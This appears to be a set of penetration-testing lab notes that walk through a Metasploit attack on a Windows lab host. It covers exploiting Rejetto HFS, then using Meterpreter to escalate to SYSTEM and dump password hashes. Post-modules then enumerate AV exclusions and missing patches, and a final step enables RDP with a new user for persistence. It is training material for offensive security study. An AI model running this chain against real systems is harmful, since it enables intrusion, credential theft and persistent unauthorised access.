Lab
Start PostgreSQL and msfconsole
Metasploit keeps hosts, services and loot in PostgreSQL, so start the database before the console.
service postgresql start && msfconsole
Create a Workspace
A workspace keeps this lab's hosts and loot separate from everything else.
workspace -a windows
Set Global Variables
setg sets an option for every module, so the target only has to be entered once.
setg RHOSTS 10.3.16.28
setg RHOST 10.3.16.28
Scan with db_nmap
db_nmap runs Nmap and saves the results straight into the workspace.
db_nmap -sC -sV -Pn 10.3.16.28
Exploit HTTP File Server (Rejetto)
The scan shows Rejetto HFS, which has a remote code execution module.
use exploit/windows/http/rejetto_hfs_exec
exploit
Meterpreter Commands
With a session open, these are the first commands worth running.
getsystem # try to elevate to SYSTEM
getuid # confirm who we are now
hashdump # dump hashes from the SAM database
show_mount # list the drives attached to the system
ps # list running processes
migrate # move into another process (and take its privileges)
cd C:\\
dir
pwd
Post-Exploitation Modules
Post modules run against an existing session instead of a target. Each one follows the same pattern: use the module, point SESSION at the open session, and exploit.
Two modules handle migration for you:
use post/windows/manage/archmigrate # migrate to a process of the other architecture
use post/windows/manage/migrate # migrate to a different process
Current Privileges
use post/windows/gather/win_privs
set SESSION <ID>
exploit
Logged-On Users
use post/windows/gather/enum_logged_on_users
set SESSION <ID>
exploit
Virtual Machine Check
use post/windows/gather/checkvm
set SESSION <ID>
exploit
Installed Applications
use post/windows/gather/enum_applications
set SESSION <ID>
exploit
AV Exclusions
Files and directories that antivirus has been told to skip are a good place to drop tools.
use post/windows/gather/enum_av_excluded
set SESSION <ID>
exploit
Domain Membership
Find out whether the computer is joined to a domain.
use post/windows/gather/enum_computers
set SESSION <ID>
exploit
Installed Patches
List the patches and hotfixes on the box, which shows which kernel exploits are still open.
use post/windows/gather/enum_patches
set SESSION <ID>
exploit
Shares
use post/windows/gather/enum_shares
set SESSION <ID>
exploit
Enable RDP
Turn on RDP (and check whether it is already on), creating a user to log in with.
use post/windows/manage/enable_rdp
set SESSION 2
set USERNAME <user>
set PASSWORD <pass>
exploit
Accessing Loot
Anything the post modules saved is stored against the workspace, so this only works with a workspace in use.
loot